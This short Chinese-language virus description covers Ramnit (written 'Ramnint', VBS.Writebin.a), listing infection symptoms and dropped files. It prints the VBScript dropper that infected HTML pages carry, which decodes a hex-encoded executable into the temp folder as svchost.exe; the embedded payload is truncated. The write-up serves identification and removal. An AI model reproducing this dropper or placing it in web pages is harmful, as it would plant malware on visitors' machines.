Ramnint 病毒

Ramnint 病毒 （vbs.writebin.a ）


现象：
1. 感染 dll,exe,html htm 文件
2. 在感染的exe目录生成AppName+Srv.exe病毒(112kb);
3. 被感染的html文件，运行后，生成svchost.exe 文件。

4.进程中多出了 Srv.exe 

5. 病毒盘中感染后的html文件会在末尾添加 如下代码：

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80010。。。"

Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If

6.建议杀除工具